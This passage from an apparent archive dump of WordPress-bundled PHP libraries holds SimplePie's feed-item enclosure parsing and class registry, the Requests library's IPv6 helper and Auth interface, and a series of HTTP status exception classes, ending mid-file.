                                if (isset($restriction['attribs']['']['type'])) {
                                    $restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($restriction['data'])) {
                                    $restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                $restrictions[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
                            }
                            if (is_array($restrictions)) {
                                $restrictions = array_values(array_unique($restrictions));
                            }
                        } else {
                            $restrictions = $restrictions_parent;
                        }

                        // THUMBNAILS
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'])) {
                            foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) {
                                if (isset($thumbnail['attribs']['']['url'])) {
                                    $thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($thumbnail));
                                }
                            }
                            if (is_array($thumbnails)) {
                                $thumbnails = array_values(array_unique($thumbnails));
                            }
                        } else {
                            $thumbnails = $thumbnails_parent;
                        }

                        // TITLES
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'])) {
                            $title = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        } else {
                            $title = $title_parent;
                        }

                        $this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width]);
                    }
                }
            }

            foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'link') as $link) {
                if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] === 'enclosure') {
                    // Attributes
                    $bitrate = null;
                    $channels = null;
                    $duration = null;
                    $expression = null;
                    $framerate = null;
                    $height = null;
                    $javascript = null;
                    $lang = null;
                    $length = null;
                    $medium = null;
                    $samplingrate = null;
                    $type = null;
                    $url = null;
                    $width = null;

                    $url = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($link));
                    if (isset($link['attribs']['']['type'])) {
                        $type = $this->sanitize($link['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($link['attribs']['']['length'])) {
                        $length = intval($link['attribs']['']['length']);
                    }
                    if (isset($link['attribs']['']['title'])) {
                        $title = $this->sanitize($link['attribs']['']['title'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    } else {
                        $title = $title_parent;
                    }

                    // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
                    $this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title, $width]);
                }
            }

            foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'link') as $link) {
                if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] === 'enclosure') {
                    // Attributes
                    $bitrate = null;
                    $channels = null;
                    $duration = null;
                    $expression = null;
                    $framerate = null;
                    $height = null;
                    $javascript = null;
                    $lang = null;
                    $length = null;
                    $medium = null;
                    $samplingrate = null;
                    $type = null;
                    $url = null;
                    $width = null;

                    $url = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($link));
                    if (isset($link['attribs']['']['type'])) {
                        $type = $this->sanitize($link['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($link['attribs']['']['length'])) {
                        $length = intval($link['attribs']['']['length']);
                    }

                    // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
                    $this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width]);
                }
            }

            foreach ($this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'enclosure') ?? [] as $enclosure) {
                if (isset($enclosure['attribs']['']['url'])) {
                    // Attributes
                    $bitrate = null;
                    $channels = null;
                    $duration = null;
                    $expression = null;
                    $framerate = null;
                    $height = null;
                    $javascript = null;
                    $lang = null;
                    $length = null;
                    $medium = null;
                    $samplingrate = null;
                    $type = null;
                    $url = null;
                    $width = null;

                    $url = $this->sanitize($enclosure['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_own_base($enclosure));
                    $url = $this->get_sanitize()->https_url($url);
                    if (isset($enclosure['attribs']['']['type'])) {
                        $type = $this->sanitize($enclosure['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($enclosure['attribs']['']['length'])) {
                        $length = intval($enclosure['attribs']['']['length']);
                    }

                    // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
                    $this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width]);
                }
            }

            if (count($this->data['enclosures']) === 0 && ($url || $type || $length || $bitrate || $captions_parent || $categories_parent || $channels || $copyrights_parent || $credits_parent || $description_parent || $duration_parent || $expression || $framerate || $hashes_parent || $height || $keywords_parent || $lang || $medium || $player_parent || $ratings_parent || $samplingrate || $thumbnails_parent || $title_parent || $width)) {
                // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
                $this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width]);
            }

            $this->data['enclosures'] = array_values(array_unique($this->data['enclosures']));
        }
        if (!empty($this->data['enclosures'])) {
            return $this->data['enclosures'];
        }

        return null;
    }

    /**
     * Get the latitude coordinates for the item
     *
     * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
     *
     * Uses `<geo:lat>` or `<georss:point>`
     *
     * @since 1.0
     * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
     * @link http://www.georss.org/ GeoRSS
     * @return float|null
     */
    public function get_latitude()
    {
        if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'lat')) {
            return (float) $return[0]['data'];
        } elseif (($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
            return (float) $match[1];
        }

        return null;
    }

    /**
     * Get the longitude coordinates for the item
     *
     * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
     *
     * Uses `<geo:long>`, `<geo:lon>` or `<georss:point>`
     *
     * @since 1.0
     * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
     * @link http://www.georss.org/ GeoRSS
     * @return float|null
     */
    public function get_longitude()
    {
        if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'long')) {
            return (float) $return[0]['data'];
        } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'lon')) {
            return (float) $return[0]['data'];
        } elseif (($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
            return (float) $match[2];
        }

        return null;
    }

    /**
     * Get the `<atom:source>` for the item
     *
     * @since 1.1
     * @return \SimplePie\Source|null
     */
    public function get_source()
    {
        if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'source')) {
            return $this->registry->create(Source::class, [$this, $return[0]]);
        }

        return null;
    }

    public function set_sanitize(Sanitize $sanitize): void
    {
        $this->sanitize = $sanitize;
    }

    protected function get_sanitize(): Sanitize
    {
        if ($this->sanitize === null) {
            $this->sanitize = new Sanitize();
        }

        return $this->sanitize;
    }
}

class_alias('SimplePie\Item', 'SimplePie_Item');
Registry.php000064400000017330151450001630007064 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

use InvalidArgumentException;
use SimplePie\Content\Type\Sniffer;
use SimplePie\Parse\Date;
use SimplePie\XML\Declaration\Parser as DeclarationParser;

/**
 * Handles creating objects and calling methods
 *
 * Access this via {@see \SimplePie\SimplePie::get_registry()}
 */
class Registry
{
    /**
     * Default class mapping
     *
     * Overriding classes *must* subclass these.
     *
     * @var array<class-string, class-string>
     */
    protected $default = [
        Cache::class => Cache::class,
        Locator::class => Locator::class,
        Parser::class => Parser::class,
        File::class => File::class,
        Sanitize::class => Sanitize::class,
        Item::class => Item::class,
        Author::class => Author::class,
        Category::class => Category::class,
        Enclosure::class => Enclosure::class,
        Caption::class => Caption::class,
        Copyright::class => Copyright::class,
        Credit::class => Credit::class,
        Rating::class => Rating::class,
        Restriction::class => Restriction::class,
        Sniffer::class => Sniffer::class,
        Source::class => Source::class,
        Misc::class => Misc::class,
        DeclarationParser::class => DeclarationParser::class,
        Date::class => Date::class,
    ];

    /**
     * Class mapping
     *
     * @see register()
     * @var array<string, class-string>
     */
    protected $classes = [];

    /**
     * Legacy classes
     *
     * @see register()
     * @var array<class-string>
     */
    protected $legacy = [];

    /**
     * Legacy types
     *
     * @see register()
     * @var array<string, class-string>
     */
    private $legacyTypes = [
        'Cache' => Cache::class,
        'Locator' => Locator::class,
        'Parser' => Parser::class,
        'File' => File::class,
        'Sanitize' => Sanitize::class,
        'Item' => Item::class,
        'Author' => Author::class,
        'Category' => Category::class,
        'Enclosure' => Enclosure::class,
        'Caption' => Caption::class,
        'Copyright' => Copyright::class,
        'Credit' => Credit::class,
        'Rating' => Rating::class,
        'Restriction' => Restriction::class,
        'Content_Type_Sniffer' => Sniffer::class,
        'Source' => Source::class,
        'Misc' => Misc::class,
        'XML_Declaration_Parser' => DeclarationParser::class,
        'Parse_Date' => Date::class,
    ];

    /**
     * Constructor
     *
     * No-op
     */
    public function __construct()
    {
    }

    /**
     * Register a class
     *
     * @param string $type See {@see $default} for names
     * @param class-string $class Class name, must subclass the corresponding default
     * @param bool $legacy Whether to enable legacy support for this class
     * @return bool Successfulness
     */
    public function register(string $type, $class, bool $legacy = false)
    {
        if (array_key_exists($type, $this->legacyTypes)) {
            // trigger_error(sprintf('"%s"(): Using argument #1 ($type) with value "%s" is deprecated since SimplePie 1.8.0, use class-string "%s" instead.', __METHOD__, $type, $this->legacyTypes[$type]), \E_USER_DEPRECATED);

            $type = $this->legacyTypes[$type];
        }

        if (!array_key_exists($type, $this->default)) {
            return false;
        }

        if (!class_exists($class)) {
            return false;
        }

        /** @var string */
        $base_class = $this->default[$type];

        if (!is_subclass_of($class, $base_class)) {
            return false;
        }

        $this->classes[$type] = $class;

        if ($legacy) {
            $this->legacy[] = $class;
        }

        return true;
    }

    /**
     * Get the class registered for a type
     *
     * Where possible, use {@see create()} or {@see call()} instead
     *
     * @template T
     * @param class-string<T> $type
     * @return class-string<T>|null
     */
    public function get_class($type)
    {
        if (array_key_exists($type, $this->legacyTypes)) {
            // trigger_error(sprintf('"%s"(): Using argument #1 ($type) with value "%s" is deprecated since SimplePie 1.8.0, use class-string "%s" instead.', __METHOD__, $type, $this->legacyTypes[$type]), \E_USER_DEPRECATED);

            $type = $this->legacyTypes[$type];
        }

        if (!array_key_exists($type, $this->default)) {
            return null;
        }

        // For PHPStan: values in $default should be subtypes of keys.
        /** @var class-string<T> */
        $class = $this->default[$type];

        if (array_key_exists($type, $this->classes)) {
            // For PHPStan: values in $classes should be subtypes of keys.
            /** @var class-string<T> */
            $class = $this->classes[$type];
        }

        return $class;
    }

    /**
     * Create a new instance of a given type
     *
     * @template T class-string $type
     * @param class-string<T> $type
     * @param array<mixed> $parameters Parameters to pass to the constructor
     * @return T Instance of class
     */
    public function &create($type, array $parameters = [])
    {
        $class = $this->get_class($type);
        if ($class === null) {
            throw new InvalidArgumentException(sprintf(
                '%s(): Argument #1 ($type) "%s" not found in class list.',
                __METHOD__,
                $type
            ), 1);
        }

        if (!method_exists($class, '__construct')) {
            $instance = new $class();
        } else {
            $reflector = new \ReflectionClass($class);
            // For PHPStan: $class is T.
            /** @var T */
            $instance = $reflector->newInstanceArgs($parameters);
        }

        if ($instance instanceof RegistryAware) {
            $instance->set_registry($this);
        } elseif (method_exists($instance, 'set_registry')) {
            trigger_error(sprintf('Using the method "set_registry()" without implementing "%s" is deprecated since SimplePie 1.8.0, implement "%s" in "%s".', RegistryAware::class, RegistryAware::class, $class), \E_USER_DEPRECATED);
            $instance->set_registry($this);
        }

        return $instance;
    }

    /**
     * Call a static method for a type
     *
     * @param class-string $type
     * @param string $method
     * @param array<mixed> $parameters
     * @return mixed
     */
    public function &call($type, string $method, array $parameters = [])
    {
        $class = $this->get_class($type);
        if ($class === null) {
            throw new InvalidArgumentException(sprintf(
                '%s(): Argument #1 ($type) "%s" not found in class list.',
                __METHOD__,
                $type
            ), 1);
        }

        if (in_array($class, $this->legacy)) {
            switch ($type) {
                case Cache::class:
                    // For backwards compatibility with old non-static
                    // Cache::create() methods in PHP < 8.0.
                    // No longer supported as of PHP 8.0.
                    if ($method === 'get_handler') {
                        // Fixing this PHPStan error breaks CacheTest::testDirectOverrideLegacy()
                        /** @phpstan-ignore argument.type */
                        $result = @call_user_func_array([$class, 'create'], $parameters);
                        return $result;
                    }
                    break;
            }
        }

        $callable = [$class, $method];
        assert(is_callable($callable), 'For PHPstan');
        $result = call_user_func_array($callable, $parameters);
        return $result;
    }
}

class_alias('SimplePie\Registry', 'SimplePie_Registry');
Ipv6.php000064400000013007151450174520006106 0ustar00<?php
/**
 * Class to validate and to work with IPv6 addresses
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Class to validate and to work with IPv6 addresses
 *
 * This was originally based on the PEAR class of the same name, but has been
 * entirely rewritten.
 *
 * @package Requests\Utilities
 */
final class Ipv6 {
	/**
	 * Uncompresses an IPv6 address
	 *
	 * RFC 4291 allows you to compress consecutive zero pieces in an address to
	 * '::'. This method expects a valid IPv6 address and expands the '::' to
	 * the required number of zero pieces.
	 *
	 * Example:  FF01::101   ->  FF01:0:0:0:0:0:0:101
	 *           ::1         ->  0:0:0:0:0:0:0:1
	 *
	 * @author Alexander Merz <alexander.merz@web.de>
	 * @author elfrink at introweb dot nl
	 * @author Josh Peck <jmp at joshpeck dot org>
	 * @copyright 2003-2005 The PHP Group
	 * @license https://opensource.org/licenses/bsd-license.php
	 *
	 * @param string|Stringable $ip An IPv6 address
	 * @return string The uncompressed IPv6 address
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or a stringable object.
	 */
	public static function uncompress($ip) {
		if (InputValidator::is_string_or_stringable($ip) === false) {
			throw InvalidArgument::create(1, '$ip', 'string|Stringable', gettype($ip));
		}

		$ip = (string) $ip;

		if (substr_count($ip, '::') !== 1) {
			return $ip;
		}

		list($ip1, $ip2) = explode('::', $ip);
		$c1              = ($ip1 === '') ? -1 : substr_count($ip1, ':');
		$c2              = ($ip2 === '') ? -1 : substr_count($ip2, ':');

		if (strpos($ip2, '.') !== false) {
			$c2++;
		}

		if ($c1 === -1 && $c2 === -1) {
			// ::
			$ip = '0:0:0:0:0:0:0:0';
		} elseif ($c1 === -1) {
			// ::xxx
			$fill = str_repeat('0:', 7 - $c2);
			$ip   = str_replace('::', $fill, $ip);
		} elseif ($c2 === -1) {
			// xxx::
			$fill = str_repeat(':0', 7 - $c1);
			$ip   = str_replace('::', $fill, $ip);
		} else {
			// xxx::xxx
			$fill = ':' . str_repeat('0:', 6 - $c2 - $c1);
			$ip   = str_replace('::', $fill, $ip);
		}

		return $ip;
	}

	/**
	 * Compresses an IPv6 address
	 *
	 * RFC 4291 allows you to compress consecutive zero pieces in an address to
	 * '::'. This method expects a valid IPv6 address and compresses consecutive
	 * zero pieces to '::'.
	 *
	 * Example:  FF01:0:0:0:0:0:0:101   ->  FF01::101
	 *           0:0:0:0:0:0:0:1        ->  ::1
	 *
	 * @see \WpOrg\Requests\Ipv6::uncompress()
	 *
	 * @param string $ip An IPv6 address
	 * @return string The compressed IPv6 address
	 */
	public static function compress($ip) {
		// Prepare the IP to be compressed.
		// Note: Input validation is handled in the `uncompress()` method, which is the first call made in this method.
		$ip       = self::uncompress($ip);
		$ip_parts = self::split_v6_v4($ip);

		// Replace all leading zeros
		$ip_parts[0] = preg_replace('/(^|:)0+([0-9])/', '\1\2', $ip_parts[0]);

		// Find bunches of zeros
		if (preg_match_all('/(?:^|:)(?:0(?::|$))+/', $ip_parts[0], $matches, PREG_OFFSET_CAPTURE)) {
			$max = 0;
			$pos = null;
			foreach ($matches[0] as $match) {
				if (strlen($match[0]) > $max) {
					$max = strlen($match[0]);
					$pos = $match[1];
				}
			}

			$ip_parts[0] = substr_replace($ip_parts[0], '::', $pos, $max);
		}

		if ($ip_parts[1] !== '') {
			return implode(':', $ip_parts);
		} else {
			return $ip_parts[0];
		}
	}

	/**
	 * Splits an IPv6 address into the IPv6 and IPv4 representation parts
	 *
	 * RFC 4291 allows you to represent the last two parts of an IPv6 address
	 * using the standard IPv4 representation
	 *
	 * Example:  0:0:0:0:0:0:13.1.68.3
	 *           0:0:0:0:0:FFFF:129.144.52.38
	 *
	 * @param string $ip An IPv6 address
	 * @return string[] [0] contains the IPv6 represented part, and [1] the IPv4 represented part
	 */
	private static function split_v6_v4($ip) {
		if (strpos($ip, '.') !== false) {
			$pos       = strrpos($ip, ':');
			$ipv6_part = substr($ip, 0, $pos);
			$ipv4_part = substr($ip, $pos + 1);
			return [$ipv6_part, $ipv4_part];
		} else {
			return [$ip, ''];
		}
	}

	/**
	 * Checks an IPv6 address
	 *
	 * Checks if the given IP is a valid IPv6 address
	 *
	 * @param string $ip An IPv6 address
	 * @return bool true if $ip is a valid IPv6 address
	 */
	public static function check_ipv6($ip) {
		// Note: Input validation is handled in the `uncompress()` method, which is the first call made in this method.
		$ip                = self::uncompress($ip);
		list($ipv6, $ipv4) = self::split_v6_v4($ip);
		$ipv6              = explode(':', $ipv6);
		$ipv4              = explode('.', $ipv4);
		if (count($ipv6) === 8 && count($ipv4) === 1 || count($ipv6) === 6 && count($ipv4) === 4) {
			foreach ($ipv6 as $ipv6_part) {
				// The section can't be empty
				if ($ipv6_part === '') {
					return false;
				}

				// Nor can it be over four characters
				if (strlen($ipv6_part) > 4) {
					return false;
				}

				// Remove leading zeros (this is safe because of the above)
				$ipv6_part = ltrim($ipv6_part, '0');
				if ($ipv6_part === '') {
					$ipv6_part = '0';
				}

				// Check the value is valid
				$value = hexdec($ipv6_part);
				if (dechex($value) !== strtolower($ipv6_part) || $value < 0 || $value > 0xFFFF) {
					return false;
				}
			}

			if (count($ipv4) === 4) {
				foreach ($ipv4 as $ipv4_part) {
					$value = (int) $ipv4_part;
					if ((string) $value !== $ipv4_part || $value < 0 || $value > 0xFF) {
						return false;
					}
				}
			}

			return true;
		} else {
			return false;
		}
	}
}
Auth.php000064400000001534151450174520006165 0ustar00<?php
/**
 * Authentication provider interface
 *
 * @package Requests\Authentication
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Hooks;

/**
 * Authentication provider interface
 *
 * Implement this interface to act as an authentication provider.
 *
 * Parameters should be passed via the constructor where possible, as this
 * makes it much easier for users to use your provider.
 *
 * @see \WpOrg\Requests\Hooks
 *
 * @package Requests\Authentication
 */
interface Auth {
	/**
	 * Register hooks as needed
	 *
	 * This method is called in {@see \WpOrg\Requests\Requests::request()} when the user
	 * has set an instance as the 'auth' option. Use this callback to register all the
	 * hooks you'll need.
	 *
	 * @see \WpOrg\Requests\Hooks::register()
	 * @param \WpOrg\Requests\Hooks $hooks Hook system
	 */
	public function register(Hooks $hooks);
}
index.php000064400000000000151450174520006356 0ustar00Exception/Http/Status502.php000064400000000711151450174520011647 0ustar00<?php
/**
 * Exception for 502 Bad Gateway responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 502 Bad Gateway responses
 *
 * @package Requests\Exceptions
 */
final class Status502 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 502;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Bad Gateway';
}
Exception/Http/Status511.php000064400000001145151450174520011651 0ustar00<?php
/**
 * Exception for 511 Network Authentication Required responses
 *
 * @link https://tools.ietf.org/html/rfc6585
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 511 Network Authentication Required responses
 *
 * @link https://tools.ietf.org/html/rfc6585
 *
 * @package Requests\Exceptions
 */
final class Status511 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 511;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Network Authentication Required';
}
Exception/Http/Status411.php000064400000000725151450174520011653 0ustar00<?php
/**
 * Exception for 411 Length Required responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 411 Length Required responses
 *
 * @package Requests\Exceptions
 */
final class Status411 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 411;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Length Required';
}
Exception/Http/Status406.php000064400000000722151450174520011654 0ustar00<?php
/**
 * Exception for 406 Not Acceptable responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 406 Not Acceptable responses
 *
 * @package Requests\Exceptions
 */
final class Status406 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 406;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Not Acceptable';
}
Exception/Http/Status304.php000064400000000714151450174520011652 0ustar00<?php
/**
 * Exception for 304 Not Modified responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 304 Not Modified responses
 *
 * @package Requests\Exceptions
 */
final class Status304 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 304;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Not Modified';
}
Exception/Http/Status403.php000064400000000703151450174520011650 0ustar00<?php
/**
 * Exception for 403 Forbidden responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 403 Forbidden responses
 *
 * @package Requests\Exceptions
 */
final class Status403 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 403;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Forbidden';
}
Exception/Http/Status306.php000064400000000714151450174520011654 0ustar00<?php
/**
 * Exception for 306 Switch Proxy responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 306 Switch Proxy responses
 *
 * @package Requests\Exceptions
 */
final class Status306 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 306;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Switch Proxy';
}
Exception/Http/Status413.php000064400000000760151450174520011654 0ustar00<?php
/**
 * Exception for 413 Request Entity Too Large responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 413 Request Entity Too Large responses
 *
 * @package Requests\Exceptions
 */
final class Status413 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 413;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Request Entity Too Large';
}
Exception/Http/Status503.php000064400000000741151450174520011653 0ustar00<?php
/**
 * Exception for 503 Service Unavailable responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 503 Service Unavailable responses
 *
 * @package Requests\Exceptions
 */
final class Status503 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 503;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Service Unavailable';
}
Exception/Http/Status417.php000064400000000736151450174520011663 0ustar00<?php
/**
 * Exception for 417 Expectation Failed responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 417 Expectation Failed responses
 *
 * @package Requests\Exceptions
 */
final class Status417 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 417;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Expectation Failed';
}
Exception/Http/StatusUnknown.php000064400000001712151450174520013002 0ustar00<?php
/**
 * Exception for unknown status responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Response;

/**
 * Exception for unknown status responses
 *
 * @package Requests\Exceptions
 */
final class StatusUnknown extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer|bool Code if available, false if an error occurred
	 */
	protected $code = 0;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Unknown';

	/**
	 * Create a new exception
	 *
	 * If `$data` is an instance of {@see \WpOrg\Requests\Response}, uses the status
	 * code from it. Otherwise, sets as 0
	 *
	 * @param string|null $reason Reason phrase
	 * @param mixed $data Associated data
	 */
	public function __construct($reason = null, $data = null) {
		if ($data instanceof Response) {
			$this->code = (int) $data->status_code;
		}

		parent::__construct($reason, $data);
	}
}
Exception/Http/Status305.php000064400000000703151450174520011651 0ustar00<?php
/**
 * Exception for 305 Use Proxy responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 305 Use Proxy responses
 *
 * @package Requests\Exceptions
 */
final class Status305 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 305;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Use Proxy';
}
Exception/Http/Status504.php000064400000000725151450174520011656 0ustar00<?php
/**
 * Exception for 504 Gateway Timeout responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 504 Gateway Timeout responses
 *
 * @package Requests\Exceptions
 */
final class Status504 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 504;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Gateway Timeout';
}
Exception/Http/Status408.php000064400000000725151450174520011661 0ustar00<?php
/**
 * Exception for 408 Request Timeout responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 408 Request Timeout responses
 *
 * @package Requests\Exceptions
 */
final class Status408 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 408;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Request Timeout';
}
Exception/Http/Status429.php000064400000001163151450174520011661 0ustar00<?php
/**
 * Exception for 429 Too Many Requests responses
 *
 * @link https://tools.ietf.org/html/draft-nottingham-http-new-status-04
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 429 Too Many Requests responses
 *
 * @link https://tools.ietf.org/html/draft-nottingham-http-new-status-04
 *
 * @package Requests\Exceptions
 */
final class Status429 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 429;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Too Many Requests';
}
Exception/Http/Status404.php000064400000000703151450174520011651 0ustar00<?php
/**
 * Exception for 404 Not Found responses
 *
